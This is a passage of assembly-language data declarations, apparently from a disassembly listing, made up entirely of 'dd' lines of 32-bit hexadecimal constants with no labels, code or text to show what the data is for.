		dd 7C598267h, 0FB184379h, 1BECE00h, 1E5E3357h, 9F48A02Fh
		dd 1A87321h, 0F353711Ch, 0DD12A7ACh, 0DCEE21D7h, 8F07300Ch
		dd 93CA879Bh, 0DCE65F40h, 0E0535CFBh, 0A4AB90C8h, 189C678h
		dd 0F0BC109Eh, 3269329Dh, 413410E4h, 0A404044Eh, 484F0946h
		dd 0DD618h, 25E69602h, 83D94B53h, 8079C53Bh, 803BE271h
		dd 61B07569h, 10BA3084h, 0C4C0241Eh, 6D3BE07h, 0BE0946Fh
		dd 987B520h, 5103E218h,	9E213490h, 9C17DA2Ch, 465C7048h
		dd 2DC007Eh, 0C36417B8h, 525E28A5h, 7EE20060h, 0CBE13A5Ah
		dd 0CF1E5C32h, 6C40F2A5h, 0D955C11Ah, 8A92C11h,	4BF92B4h
		dd 5F357Ch, 2362AFAh, 98FC2ED5h, 31A98544h, 0C1EC575Ah
		dd 40E8E555h, 7A3B35D8h, 18494484h, 860B0314h, 4AAB84B8h
		dd 0D0DF9800h, 2512F1D2h, 70468A75h, 7F396C52h,	0CCEF0108h
		dd 9A57005h, 0A0B8F86Dh, 0A1142106h, 40B07B88h,	6C4028C0h
		dd 0DCEF0B10h, 80902E0Dh, 84821DF1h, 0BA6165CCh, 9DEC70D3h
		dd 8B11CC93h, 0D3C2B100h, 0F5D8CE7Fh, 0BB95D600h, 76567E5Eh
		dd 772A30A5h, 19CE10D0h, 22C6352h, 0F102D3BCh, 1081318Dh
		dd 0BD3C4B3h, 0B8DB9550h, 0C8A81007h, 6B600B44h, 0F076BE9Bh
		dd 63560487h, 0BD05C09Bh, 0DCB0C6BEh, 960A0775h, 4CD04DD2h
		dd 834656h, 0C0C8B92Dh,	729327D4h, 0D0E226C9h, 84FC0814h
		dd 0CE11A489h, 9B4640A4h, 261F9D0Dh, 5830A010h,	0FC7954FAh
		dd 0FE84200Ch, 4E41A09h, 40E8CEC0h, 20A72082h, 4C031504h
		dd 7980834h, 0CA9B67C0h, 0BC73E5F0h, 9B5FB283h,	4B23DFF8h
		dd 6490D824h, 157B8260h, 0EFFF4C97h, 7DEA0C44h,	4B080524h
		dd 0D0F6DCE7h, 0D4EBB744h, 19F4B790h, 309DA0AAh, 45807D11h
		dd 2C28C054h, 1AA29002h, 4A702B53h, 58C4B2B4h, 61B522FCh
		dd 12F3A4A1h, 40C3A9h, 0E55A188Eh, 0F49A1AD5h, 48C0147Eh
		dd 8010AE55h, 60A41CF6h, 30231424h, 419E2B16h, 0DEEE37E4h
		dd 8C2C4CD2h, 0F8D1FC79h
		dd 0C5513F3Ch, 85122037h, 76F0670Eh, 62441015h,	1C893A9h
		dd 0EA61ABAh, 0DB808E66h, 44049333h, 0EF017648h, 3D5239FCh
		dd 0C1E83934h, 3CF10861h, 675F7501h, 1E1FE058h,	94F801B2h
		dd 7198B672h, 0D478C2D1h, 1C665224h, 86A36384h,	0B304D7C0h
		dd 6258078Eh, 707B13A9h, 0F376AE4Bh, 986E7F3Fh,	619841EEh
		dd 745F1DDBh, 24A71617h, 5A9D0CDCh, 0D93C0420h,	43E11632h
		dd 7B6148Ch, 58972EA6h,	0B084142Dh, 9CA0BFC8h, 0CA801F53h
		dd 0CD60D98h, 0D4E0C401h, 28C273CCh, 0A1E631B8h, 0AE28E088h
		dd 49D08720h, 0D0480C15h, 1023A8A2h, 9817B16h, 39494712h
		dd 4BAB040Fh, 7E11EC9Fh, 40C4F880h, 0EE00279Ah,	0DA7B1BF7h
		dd 0AA8F76E4h, 0FB06688h, 0A0DB77D0h, 38F99700h, 330F86B2h
		dd 456EBAAEh, 90823EDDh, 64182258h, 0E00D046h, 8ABEAE27h
		dd 8872F4F0h, 0F22EA3B4h, 0D25A70CEh, 2D350AB8h, 249C7D40h
		dd 6DB50444h, 95790466h, 843A0A5h, 4F06CC90h, 0EE0919C1h
		dd 0E754AA5h, 15E0665Ch, 48512D0h, 803484FEh, 3898D184h
		dd 990B0776h, 67E55631h, 7F896468h, 847A8921h, 0CB60C49Ch
		dd 0D5236DD6h, 724C11DBh, 18D6C500h, 0CA21EEFAh, 5BE49Eh
		dd 0D9ED3AA2h, 5ACF8F9Bh, 0E0903090h, 71870D17h, 0B1216090h
		dd 0FED4E5Dh, 979610C4h, 9CB03938h, 316D3BFh, 9C8BA5F1h
		dd 0D3A7A800h, 2AC3DC6Bh, 904BC94Ah, 0C4C44798h, 0F7C36081h
		dd 14E27C74h, 987E0CFBh, 770D1872h, 24D5C089h, 244A3027h
		dd 0D859B580h, 0CCA058C3h, 0D56CD608h, 5741C4E3h, 0DBD8E8C0h
		dd 0E361003Dh, 0ADA6D06Ch, 0DC136EA0h, 6C904101h, 6A29EC8Fh
		dd 0AE41057h, 44986618h, 6BBF8249h, 0ED82D8D1h,	8056F1DCh
		dd 51DAD420h, 1FB4859h,	0B81D612Dh, 98802B91h, 52F02843h
		dd 790C1D05h, 84E18C7Dh, 0A0A906CAh, 26690822h,	1DD89118h
		dd 0C7117019h, 4B0FD198h, 60CDFAB8h, 503D5D0Dh,	6AF83C71h
		dd 0D4601D01h, 6DDCD0EEh, 0D1169EB0h, 8323B03Fh, 525820Bh
		dd 8A45A74h, 0DC87262h,	8A109FFCh, 0C1A002E9h, 26FF8CB0h
		dd 0E191BA08h, 42256493h, 60270755h, 30A1B590h,	1A192310h
		dd 41748050h, 7C664800h, 3B0D7831h, 48BE025h, 623A9F23h
		dd 3EE8C2A8h, 0F434EA20h, 0DCF1150Dh, 9E73E0C5h, 4C465EA0h
		dd 2CD35902h, 0F0D2171Ch, 0FC54B648h, 0AB3A8C49h, 0E3E000FCh
		dd 60618AF7h, 0E805312Bh, 6D9B6A61h, 45DD0154h,	9A58713Eh
		dd 3354E404h, 25E40518h, 88519231h, 7359E54Fh, 0C95E7C00h
		dd 0ACD9E44Ah, 0E21C9509h, 5E8454B0h, 54014446h, 2B944DE7h
		dd 57DBD837h, 105FD30Ah, 90A5D462h, 906BC44Ch, 0E0EA0342h
		dd 2C358112h, 0FB5C4FD1h, 3F19EEC0h, 0DA91870Ah, 5F94D81Bh
		dd 48B222ACh, 90803875h, 0E6443292h, 0D3987900h, 0CFDD2CC2h
		dd 0FDBC0058h, 0A057469Dh, 4146AFEh, 9F447F6h, 50E4D111h
		dd 0F45F05C8h, 20F35106h, 2A9DEE8Ch, 0F60BC4B6h, 0DC40477h
		dd 0C09B6160h, 965AF025h, 59580010h, 2578709Bh,	98020B7Dh
		dd 7B272E09h, 8864FB1Fh, 18A481DCh, 0F631508h, 0B241DEB4h
		dd 9A8676E0h, 6AC0ED21h, 5264B074h, 1A79C070h, 0F683C023h
		dd 61742101h, 65DD177Ah, 0B8CA418Eh, 8BCE1064h,	0C176C8E8h
		dd 0E020EE7Fh, 79D20FAAh, 8323F83Ah, 6AC32301h,	0C8478D07h
		dd 6420F1ADh, 0F35040A0h, 86432CB2h, 303430F4h,	9B3F1809h
		dd 9C4B5E46h, 509842CDh, 75C726B0h, 202901CCh, 448B2666h
		dd 34B082F4h, 38ACB0F0h, 76D818C4h, 40C5A644h, 3D8B28DDh
		dd 24BE48CEh, 63C4C1A4h, 41D86974h, 92A5F040h, 4198662h
		dd 0C0E86AD4h, 8278B270h, 0F490C892h, 0EC27FCD3h, 2582971h
		dd 8780C38h, 0CF9604A8h, 36608C99h, 80667144h, 0A4144FA5h
		dd 1A850ECh, 5532DEB6h,	5C28F5B2h, 0DC66A004h, 0B484D341h
		dd 47B1F9C0h, 93AA2Dh, 0A60497E8h, 840C9644h, 0E3168458h
		dd 3084A2F0h, 6B12EE8Eh, 0E4E4D217h, 50440329h,	793A462h
		dd 3E96261Fh, 0C8F47A05h, 0F78FF0F0h, 78850771h, 0B449E4EFh
		dd 0F54ADA04h, 94062485h, 28A85066h, 4C0CA293h,	0D6308468h
		dd 5EF4D1A9h, 103723Eh,	0F10ED71Ah, 519CD9FCh, 996DD867h
		dd 5001B80Bh, 2ACA7531h, 5F6161E4h, 2CEB4088h, 8DFF6A00h
		dd 0FC908E8h, 47B8DC62h, 5C17CD09h, 0DF808B91h,	7EE9D91Eh
		dd 0AD881700h, 9BE0C95Ah, 51AC3AA3h, 0ECEE9D02h, 0D4A74DF5h
		dd 9E6152DEh, 25E2E0C3h, 7CA0C324h, 0F85D45A5h,	6302A980h
		dd 0DEE127D3h, 0DAA8A158h, 0FB006BD4h, 0A82025FCh, 0BE8C1475h
		dd 42EA0C1h, 856A8128h,	4FB7101Fh, 0A9121120h, 444B118Eh
		dd 651728C0h, 45CDC0C9h, 6080C43Ch, 0FC1368A9h,	0E8C426BFh
		dd 5B738190h, 7219AAF8h, 0F3DC0164h, 4E8F6A67h,	60759C24h
		dd 0CDE3497Bh, 650030BBh, 0A649D424h, 5D033609h, 0C32344CEh
		dd 0BC270101h, 70EF191h, 0C2270953h, 614D14A2h,	4C68B608h
		dd 0B928D32Ch, 41BCA058h, 0AF49078Ch, 0D0E985FFh, 0EB67FEE3h
		dd 0F940E802h, 0C1652FD3h, 4150F88h, 4431A74h, 448060AEh
		dd 2C2AFA46h, 593451A6h, 0FE71076h, 4FF61647h, 7424047Eh
		dd 7D111E1Eh, 0D2FFC702h, 0D0D83EF4h, 0F9181030h, 78FC0Dh
		dd 0B16E8F17h, 0F0CAFD03h, 2FE5700h, 0FA66A95Ah, 0F80B04E8h
		dd 0C6ECF113h, 694CA03Bh, 8D12280h, 78BF0DEEh, 0C00F945h
		dd 1F2950DCh, 96FCB192h, 0AE70204Fh, 0E200C12Bh, 808FAD0Eh
		dd 27DACFB8h, 340D4F7Ch, 0BCC03CE1h, 0C8008C80h, 0AFA5A441h
		dd 90134FDh, 0CAAB9B47h, 0DC12AC09h, 18C5A422h,	9E11C8C4h
		dd 5E787A3Bh, 0CB24121Ch, 0C07FC8DCh, 0B728024Ch, 35D80E01h
		dd 1050035Eh, 9E58C8CAh, 0B0DA3E66h, 829ED16h, 79891BC4h
		dd 475C10F1h, 80A44AD9h, 0F30469A8h, 114C9F95h,	4D348120h
		dd 66E4CCD4h, 24D73FADh, 4E816459h, 0A72C2A5h, 491D1018h
		dd 0DE007E58h, 0B631D02Ah, 3124442h, 0B16B7549h, 29BEEA7Ah
		dd 3B24A3FCh, 2D60648Fh, 9E159CF5h, 857B8414h, 241F2269h
		dd 0ED608C9Bh, 0A0B52A01h, 32318533h, 0D5056428h, 0A4839404h
		dd 0DCB284BCh, 7A7824h,	0FE0746A8h, 0BCDDAE5Ah,	232016A0h
		dd 43300656h, 29727569h, 71FC9B01h, 0CDC29DA1h,	0D860B8C1h
		dd 2B549C36h, 1A10BE70h, 0B551E70h, 0A6FCC865h,	7B0E88BDh
		dd 62F4919Fh, 1035077h,	0AD500643h, 20E5999Ah, 550C931Ch
		dd 8AC150E7h, 7D7810C0h, 5B405CB9h, 8415B803h, 5081BA30h
		dd 1F1B214Fh, 0E62FC32h, 0E4296A48h, 171B10D2h,	8A3036A7h
		dd 76C87E9Ch, 4F094A46h, 0F8024C93h, 0D30092EFh, 40106CF4h
		dd 0AE4A9D50h, 0CD7568C1h, 0EC309C75h, 0AC3E49E5h, 410DAA11h
		dd 84B6E0B8h, 0D8FD0680h, 773764Ah, 112D2E77h, 0DA88174h
		dd 5C479103h, 460D080h,	98115CCCh, 664648Fh, 0B8A4FCB1h
		dd 0A0038C25h, 10EB1714h, 0EF190011h, 6384EEA7h, 7E0A47D5h
		dd 50FCB8D6h, 3D76C980h, 4E55CDDh, 7EC7296Ah, 14C705h
		dd 25E398D2h, 0ADF02209h, 0FD0C4042h, 0C11B56Ah, 8B8CECC9h
		dd 0ED57AF05h, 588BB0D9h, 0C920C8h, 35580118h, 4CA27D9Ch
		dd 3E4F1481h, 0F9862390h, 0CAD20E86h, 0C045C8C4h, 4357E08Fh
		dd 0C7910F14h, 0EE6005F4h, 0E1CDFCh, 2E6FE842h,	88053A9h
		dd 0CD5BACCh, 0D29BE0C1h, 3A7EACh, 3D44DF70h, 85F84B39h
		dd 59465CB8h, 4D3BE02h,	4459BDF1h, 25A6A563h, 4C644C20h
		dd 0EE3D4E00h, 559CBB89h
		dd 93E60723h, 0F59A4702h, 0AA8404B6h, 6694907Bh, 0A6E813F0h
		dd 1C91A90Ch, 7DCF20B8h, 3008674h, 358A04EFh, 0EB47378h
		dd 0C95194A6h, 0F5F9A7C1h, 0E270731Eh, 0E4E0331Fh, 1C2E06C5h
		dd 0EB1E08A6h, 956A2D60h, 21148844h, 0E8D85742h, 0A5008C43h
		dd 5B08DAE5h, 24EE18h, 6554A6B5h, 10C7F345h, 789180E3h
		dd 97B2C19Ah, 0E4694C23h, 6F2F9445h, 709A1778h,	30993705h
		dd 0AD569C02h, 71C84234h, 0A5F08490h, 2024CC16h, 815DAF2Dh
		dd 702CD588h, 102C147Ch, 4D814064h, 7701277Fh, 0A372E10Ah
		dd 7828CE0Ch, 788C83B8h, 2EEF135Dh, 0BA040966h,	0B05A80F0h
		dd 2123982Eh, 0E46C2400h, 26774FF2h, 8346266h, 1B3D9992h
		dd 8AF16DFCh, 43807C97h, 22946424h, 0A8D3253Eh,	446B24A0h
		dd 90F47592h, 0A7873DCDh, 4704EA3Ah, 0BC4C20CAh, 8C80ECCCh
		dd 89FD9400h, 127BD0D1h, 399F0218h, 883A9DF0h, 0E48B685Ch
		dd 6A0CC81Ah, 0A7A1C067h, 0ACCA9181h, 3107DCB6h, 7A45A1F4h
		dd 0E412EC25h, 0E1B0400Ch, 0E258BEBFh, 5294192h, 0AC91D40Dh
		dd 98689A5Ch, 77DB1D09h, 0ED0C4CD0h, 6038B1ECh,	39526731h
		dd 79D10C21h, 5E409618h, 0B08F9218h, 3C8B120Ch,	0B7CC48BDh
		dd 0C02705C0h, 8694F491h, 872344h, 6B01270Dh, 2E142CD3h
		dd 0DE1CA0B5h, 20712632h, 0CF12CCE9h, 38A0BE89h, 2E484116h
		dd 4009F013h, 0C40845B1h, 74836022h, 909509FEh,	3C851EAAh
		dd 4A20BC36h, 0BC2EEC17h, 0A4007F23h, 29D90428h, 17A71280h
		dd 652820CFh, 546EC5ECh, 0C7DBE960h, 54D46270h,	54D4083Fh
		dd 0D1C4995Ch, 7210182Bh, 0CF1D0FE8h, 0CD6E90BAh, 4A58DF00h
		dd 0B605CA0Ch, 78FAAB18h, 8B5A70B9h, 0C165C844h, 0C4DCEF55h
		dd 18121A5Fh, 0F4F4B4D9h, 0A85C8869h, 58FC2001h, 6F7F78FFh
		dd 0F8511530h, 0FD2D0797h, 6BCAAD48h, 0F433B8A0h, 0A493387Dh
		dd 25660200h, 4B7565D5h, 0C18C0396h, 5181DFEFh,	3D29A8B0h
		dd 1C64649Eh, 0B3EECA4h, 82F4795Eh, 0CF4C10CEh,	0EF95009Ch
		dd 0DFFDFE8Ch, 71DE005Ch, 0DC3D758Bh, 0AC1CDBCDh, 0DC24CA9Bh
		dd 58B04F89h, 1B1030E8h, 0F36B4851h, 1E87E100h,	0BC3FDB4Ah
		dd 31ED0375h, 481A5878h, 66C267F9h, 0D6C91E20h,	9CEBD58Bh
		dd 0C3170034h, 47133FD6h, 9265B2Dh, 6608A8C8h, 0EEFA038Ah
		dd 0E8A06A2Eh, 3D5C98D8h, 0DEB402D8h, 79372138h, 1FEDF1D4h
		dd 725EEDC8h, 74842071h, 7D20EF4Ch, 8251EC93h, 40C0E318h
		dd 6AC1EF9Dh, 8400919Ch, 1B582Ch, 2E9F17C0h, 5BB02010h
		dd 0F563022h, 45D055C4h, 2C1647C1h, 99E4C4F0h, 4C08494Dh
		dd 13E71700h, 0DCA64813h, 405309E0h, 0AB8AB500h, 1EEE7D21h
		dd 0EDDA2F92h, 75F4E048h, 0B443CCAAh, 2888990Fh, 0DA3540E5h
		dd 1D89B72Ah, 80640D93h, 40779EAh, 8B1F7DFCh, 0C6E750FFh
		dd 18FD2034h, 8724F012h, 46F20CA2h, 0FAAA030h, 0CA4B29EDh
		dd 0A240EE27h, 0CCEAEFF4h, 7E7954F1h, 0CA7D3E18h, 85AEF002h
		dd 0FE794DD0h, 0F242C004h, 0A348F688h, 83760B0Ch, 5B48D269h
		dd 0EC28C990h, 4B5B4604h, 7265BC05h, 68F5A481h,	3EFBFA00h
		dd 0FC9C453Fh, 95B952Fh, 8098793Ch, 200BAEC3h, 28FAAD1h
		dd 67F8128Fh, 0B5D06468h, 0E02981CAh, 34046C11h, 3C35F4h
		dd 0CDFEF84Fh, 0BD6AFC1Eh, 0DA9DA410h, 0C05F9520h, 0EE8D4840h
		dd 54F8D509h, 0B988039Dh, 993AF091h, 0AA480833h, 0FB024BC8h
		dd 0F02678F4h, 0FC8D3840h, 0C8841AAh, 0C38FF663h, 0D914F418h
		dd 80485DC5h, 0B5FFF889h, 6984408Fh, 6C783221h,	0AF981D0h
		dd 13F8057Fh, 68DDF312h, 0C2529C20h, 0BEFB0088h, 0FCFD0B12h
		dd 6754A948h, 2FD42070h, 7C411C0Ch, 0F0207A32h,	0E96DA697h
		dd 0C2A8447Bh, 90314CC8h, 2C08B35Eh, 8C642568h,	344DFC29h
		dd 1E5069Ch, 83045F1Ch,	337009D3h, 7CC07A96h, 20CD019h
		dd 30F5BA40h, 0CB875E7Bh, 12DC4894h, 800488Fh, 61849A93h
		dd 0E91203D6h, 62ADEE95h, 50C16968h, 8C3491C5h,	5F46C301h
		dd 80502024h, 0D147A61Ah, 5B970CA9h, 0B2C1D184h, 544F2F70h
		dd 0B9049054h, 81C86C9Bh, 839D595Ch, 8053548h, 0A9203C19h
		dd 0F54DDD80h, 0B8865A4Eh, 0A460B21Fh, 0B516B4EAh, 68D23A91h
		dd 0EEC2DD97h, 747B68F2h, 0E4425494h, 0AC8B0967h, 1D0B90DAh
		dd 2470A294h, 0B882678Ch, 50A029F8h, 74B8A292h,	24D8A2BDh
		dd 0A8F31056h, 5E8C7C8Ah, 0E6008046h, 9FE04834h, 9C99315Bh
		dd 19A3000h, 1E6D2FEh, 0F2E4E142h, 0F4E7BA76h, 4F2F66B4h
		dd 93D848EEh, 0BE6C0EC9h, 821D5864h, 0F37569BAh, 0EC8F30E8h
		dd 0C0E194Ah, 28CB3783h, 0A2C184C8h, 203B9DB2h,	5EF57B68h
		dd 9F96BF38h, 144001D9h, 2CD4C4D8h, 0F496FCh, 731F1759h
		dd 0D078B26Eh, 963FD8A4h, 25B75CD2h, 9BD480C5h,	33048E90h
		dd 411040DEh, 0C4E35EF2h, 0ED9ED8A7h, 0E0819597h, 0D0515431h
		dd 21817578h, 5359D728h, 8B5AC41Fh, 0CDA9BD00h,	0B81642FBh
		dd 4C551265h, 820CAC83h, 5ACA10C9h, 73DD3050h, 0A2DFD449h
		dd 38BBB48h, 98315472h,	4D2930F2h, 0DE941AC0h, 66311F60h
		dd 209D0646h, 0C31FBDEEh, 5204711h, 535CDD6Bh, 9374B08Bh
		dd 0D0B9A56Ah, 188C0D0Ch, 10786F0h, 0DDD3D997h,	10F4C365h
		dd 182658ABh, 765D5A10h, 465EE49Ch, 8A4E1D46h, 0C2612005h
		dd 0C2ADAD83h, 6A186473h, 28A97Dh, 56D9106Eh, 0B51709AAh
		dd 24A42A47h, 42F34A79h, 8CA16FE0h, 0C6063C7Ch,	751975F0h
		dd 0CCA448h, 0CA252D3Bh, 0E2A99A29h, 2718B000h,	9178A4C1h
		dd 307BE607h, 0A8395401h, 66004273h, 0C9B57518h, 0EADE7C68h
		dd 0F3F43889h, 45221E04h, 1108C346h, 0C902CFBh,	0CF0464CAh
		dd 0E50A5DC1h, 782804AAh, 0EAC6604Ch, 0DB50A015h, 943EE33h
		dd 9C2E2950h, 390184F0h, 0DEE5F86h, 8C446E9Fh, 8DE1A4A3h
		dd 429C085Ch, 0A5CA1066h, 11200EB9h, 0B480A92Dh, 95F041D4h
		dd 9880864Bh, 12EE36D3h, 54B27706h, 9781F0FCh, 3E2D814Bh
		dd 46A3C4Ah, 0E853007Eh, 0E9B694C6h, 0BC008AD0h, 0B48BAF3Dh
		dd 308CD5F0h, 5D19EC69h, 0B5018DBAh, 7A94D6FEh,	0E900C540h
		dd 0C23EB6C8h, 0B5911D3Dh, 0B41FD51Fh, 27B8E20Eh, 80BF87FAh
		dd 0B78DD4E7h, 0C3E4E9EDh, 90E10E3Dh, 85E6F5C2h, 930928AEh
		dd 80DBF1B7h, 92D9F65Dh, 0DAFB3026h, 7999EC40h,	0C8F86200h
		dd 0DF3DBB8Bh, 2FC5038Ah, 51106C6Eh, 402679B8h,	899204A0h
		dd 86D680C7h, 0A7C41BC0h, 1833735Ah, 79EFB779h,	9FF1D6F6h
		dd 0E81BB571h, 153DA318h, 8E6B6E0h, 0EDB18D0Ch,	0EE146918h
		dd 603850D3h, 646C7080h, 86D506F9h, 88D9F0B1h, 1E882126h
		dd 567B5306h, 8EC60FE8h, 79801251h, 0B593408Dh,	0A0A540CAh
		dd 0AACEFC00h, 880C65h,	0C639265Ch, 0D6101D6Fh,	16B38A0Ch
		dd 0E8ABE1BAh, 6DFC0075h, 0DAEE566Ch, 92A57B6h,	0B2403CC4h
		dd 0F6BE01B4h, 405CB0E3h, 3B31C8Ah, 0BAE9B1A1h,	204262C4h
		dd 0B80C093Ch, 950C0F90h, 446C93Ch, 1D23DCA4h, 3A189CB1h
		dd 0AB82E445h, 519EDCACh, 0AE2DF8h, 460C804h, 0AC0BB755h
		dd 0ABF91402h, 0BC341057h, 21774121h, 90C4318Ch, 4781C748h
		dd 21C6A3AAh, 4CA424B8h, 0D3896894h, 32005C5Dh,	0DA12EB58h
		dd 0D2A0C804h, 4570014Bh, 0E124C03h, 45B5702Ch,	0E958908Ah
		dd 62B4B992h, 57154E60h, 0AB825010h, 52317545h,	0A3B29474h
		dd 0F3582168h, 0C843B017h, 2E9ADA9Bh, 0CFCBAD1h, 5F58172Ah
		dd 88E1044Ah, 0C821940Eh
		dd 4C0381C1h, 71E7C80Fh, 0DDC81A26h, 8A0A3871h,	0FC620C69h
		dd 0F74F0274h, 0D968CE8h, 64710725h, 0F8DC9084h, 0F8C95C19h
		dd 219720DEh, 0C404D380h, 981C013Bh, 648B6608h,	0FB887A68h
		dd 52062E04h, 0A40B8C5Ch, 270F1E28h, 0E9D58C25h, 14C45918h
		dd 6589405Fh, 68200C64h, 0D6E53972h, 955005DFh,	15AC5EEFh
		dd 7D7F240Ch, 0C16580Dh, 1698D52Ah, 0A049FCEDh,	9C0F93BCh
		dd 0E513EEC3h, 0B0569BF4h, 815E610Ch, 0C1263EDBh, 37EF5C92h
		dd 64448A04h, 2AE7226Ah, 2AD951DCh, 84C1F894h, 4F105561h
		dd 239F91E6h, 50D806ACh, 0D99F0441h, 0CE81891h,	0E0438697h
		dd 0F0918721h, 8C911C50h, 82480749h, 4698D5Eh, 885C876Bh
		dd 4699930Eh, 4640868Fh, 4E6809EFh, 823C1216h, 0F19249Ch
		dd 0B212490Fh, 9EE0680h, 0F96E76h, 1E9C41Ch, 0EC9D3922h
		dd 31525302h, 0A06EEE50h, 77C6B980h, 0D998001Fh, 6BE81DE9h
		dd 18C5CAFDh, 0B0C0CD92h, 602C585h, 0B132DD6Ah,	46003867h
		dd 3B31DE06h, 9DA02948h, 0A72F2410h, 3D072E00h,	275470CDh
		dd 0E3C30039h, 0C01F58F7h, 5600DEB4h, 50DD23C1h, 53EA2BAh
		dd 400C937Ah, 0E96CC0CBh, 5E4CCEE5h, 40414BE5h,	3ED932C7h
		dd 504D0h, 643D08E9h, 0D645942Dh, 0C6727B00h, 3F99B884h
		dd 11E70025h, 6E46DD49h, 7A00A5E9h, 0EEFA4EB1h,	1365CA43h
		dd 0E047F8EBh, 0B9CC2B40h, 2D3B2059h, 0A8EB7561h, 162B3CD8h
		dd 1F40FE00h, 91492F24h, 81F70388h, 93E21D8Dh, 101EB380h
		dd 28BF49h, 0EB7BD535h,	19D262Fh, 0A532C047h, 0D8B1B9C8h
		dd 63391BC5h, 12C98038h, 0C6F27A61h, 0A0DE1CAAh, 0CFF0F20h
		dd 94A976A0h, 880AD91Ch, 18373B92h, 1042E900h, 0BBE840h
		dd 0FD04C233h, 0B0CF91E4h, 6380B00h, 0ECBE7FFEh, 2A3D00EDh
		dd 209A6AC5h, 0E00CC8D2h, 48936B38h, 152EA0Ch, 355FF489h
		dd 984FED6Dh, 2A690508h, 36520363h, 22E96DDh, 0DF821CF0h
		dd 2500C174h, 5936651h,	484CEB56h, 8F0035A5h, 5924BD12h
		dd 0AC3DD7E2h, 50A8584Bh, 0C901E96Ch, 0F15F2296h, 1AE0252Ch
		dd 0F8B078Fh, 0B99260E3h, 6C207E0Ch, 91267F05h,	203840DAh
		dd 0FA4616h, 7D6F3D91h,	60539311h, 0B36CC092h, 0E27B1FE8h
		dd 678CE606h, 6008D648h, 0DF5521A7h, 0BF00961Fh, 0BBFC6ECEh
		dd 5D2ECA5h, 21E5F505h,	6F9C065Dh, 9410F946h, 1B0A4F41h
		dd 8C9417EDh, 5B518E75h, 2DFB5100h, 54C07398h, 18116009h
		dd 0C8C75948h, 0E408E1EAh, 18F05Fh, 3455ED93h, 80E82EAh
		dd 4038A247h, 6B53FFC5h, 95960A6Ch, 1ED86A14h, 795E4ABBh
		dd 81103090h, 0EB38D3DEh, 16B51DD5h, 5D0828D9h,	0D6AC2180h
		dd 0C1E01BD3h, 0D830F42Ah, 9749EAF0h, 0A2085300h, 53BC3018h
		dd 5F19660h, 1A77D4h, 0EEC889B7h, 53AB5EEAh, 25881800h
		dd 3A7449C6h, 1E6D12B2h, 752C21EDh, 63418F9Fh, 2E003F89h
		dd 9E2FF38Dh, 0CDDA1E7Eh, 0FD2ADD41h, 0B1ED3401h, 8762E9F0h
		dd 0DD60F8D8h, 0A0430F85h, 0D0AA8632h, 1907A49Ch, 8AC9195h
		dd 0D1218127h, 8053AA8Dh, 65F5D4h, 6EE18A0Fh, 0BC432D94h
		dd 9850792Ah, 0DCBAA700h, 2369B6E0h, 5FAB006Dh,	4DC1E8F9h
		dd 7700D340h, 594717Eh,	129D2C02h, 1054C7D1h, 0E523A448h
		dd 94526E01h, 211877F4h, 0E662988h, 0BEACA452h,	3BCB4160h
		dd 1614C14Dh, 87F09498h, 0F42056E1h, 3872E6h, 66C4BEE2h
		dd 0B520D635h, 40E4E4A3h, 0DDEE62CCh, 0FB9005Ah, 0F529CA94h
		dd 71D43933h, 69607B24h, 0D0ECBF59h, 0C80B0A77h, 0BE943511h
		dd 1AB5EF00h, 0D052E056h, 0D7C53807h, 6C5411DDh, 0AB88AC8Eh
		dd 0B0AA0BC1h, 5497C6FCh, 5C12E099h, 1533BEDBh,	0CAB15779h
		dd 0EB35EDF0h, 0D149B100h, 0C1036981h, 0C66F0718h, 9DE3F56Ah
		dd 8F9191F1h, 0DE1FEC83h, 228D06D9h, 0E351C3F4h, 26CEB81Fh
		dd 0A290799h, 0F2EC3F6Dh, 0E0846B56h, 526760E4h, 7FF42385h
		dd 26002311h, 630C525Fh, 840160CCh, 582EEC8Eh, 6CC496ACh
		dd 72E7806Dh, 70321401h, 9C117ACCh, 3DEB5848h, 0EA3DF1Fh
		dd 4E00AB11h, 84DB1FE6h, 8E1D02FFh, 0FB41CD1Ch,	1D391498h
		dd 5258980h, 0FE4280F0h, 0F7868400h, 0AC3C8A7h,	2E7605A5h
		dd 4017FB67h, 0D0C4C2B4h, 0EF003868h, 72B3A379h, 0DF1FF0FFh
		dd 2FCB8021h, 0DB0B666Fh, 0E8001EF0h, 7FDD1CEh,	15AB2C9h
		dd 0EB69B3A2h, 9FC8C386h, 0B88040A9h, 2291CD30h, 12D6F4A5h
		dd 1DEE7EA8h, 8701A3D4h, 0BC9C69AAh, 0D4882618h, 2EAA008Eh
		dd 0B4E0D7E3h, 0EB30D822h, 0C496694Bh, 6409E8A0h, 5F43185Bh
		dd 20E88FC9h, 0C3DF632Ch, 0E8225052h, 627C8CE1h, 57F48810h
		dd 525A2DE0h, 534AC600h, 484E498Dh, 0BCD0B1B8h,	31C05B80h
		dd 71C4D26Fh, 9CC25E00h, 4EE95CF4h, 484F0F10h, 942C6369h
		dd 0AC07199h, 0BDE759ABh, 199C6054h, 6F5DFB9Bh,	1E002E7Ch
		dd 0BF20FC9Fh, 0EA97AC70h, 0B01B59C6h, 0A44211F8h, 105A0E23h
		dd 8CFA2D20h, 0DB56F772h, 0AA8802E8h, 31949C6Ah, 8FCF1023h
		dd 379A00AAh, 0F949C4AEh, 9048CB3Ch, 3DA230Ch, 9C6DAA8Bh
		dd 202D628Ch, 5EAA92D0h, 0EB85F500h, 0BF144AFFh, 356B1576h
		dd 0FD3EF073h, 1077F980h, 0D8CE5EEDh, 3A2F4300h, 8ECB46C6h
		dd 79D312F2h, 114404Fh,	311D1AAEh, 37B0F2A0h, 0D96AE300h
		dd 0CB4DAF08h, 931C04C2h, 89532297h, 497E2C8h, 2057790Bh
		dd 67F2C1D8h, 538D2835h, 2170E310h, 161CB256h, 16D2CDh
		dd 338BF188h, 0F47D737Fh, 2E487467h, 0C08C0680h, 1AD233CCh
		dd 3EC40128h, 38615046h, 800B751Fh, 56C51A21h, 0C14A426h
		dd 829346DEh, 1C99F018h, 41457A0Ch, 20A648DEh, 0C5CA1861h
		dd 64398652h, 0C1F0E6h,	6F093296h, 0CC236AB5h, 8F522901h
		dd 8B5A1CC5h, 56E09DE9h, 91A061E8h, 57E7E263h, 14F38198h
		dd 7440EE11h, 722C4894h, 761974EAh, 442033E0h, 1C68E8E9h
		dd 0F1384FAFh, 0C407DC19h, 0A6F0738Dh, 993A1500h, 0C86E9114h
		dd 7D8C07DEh, 1220926Bh, 58409A64h, 0D50DF49Dh,	8F50CE4h
		dd 5BEE7FCh, 6036DBEFh,	0ED9CC272h, 4C3148C2h, 6BA02054h
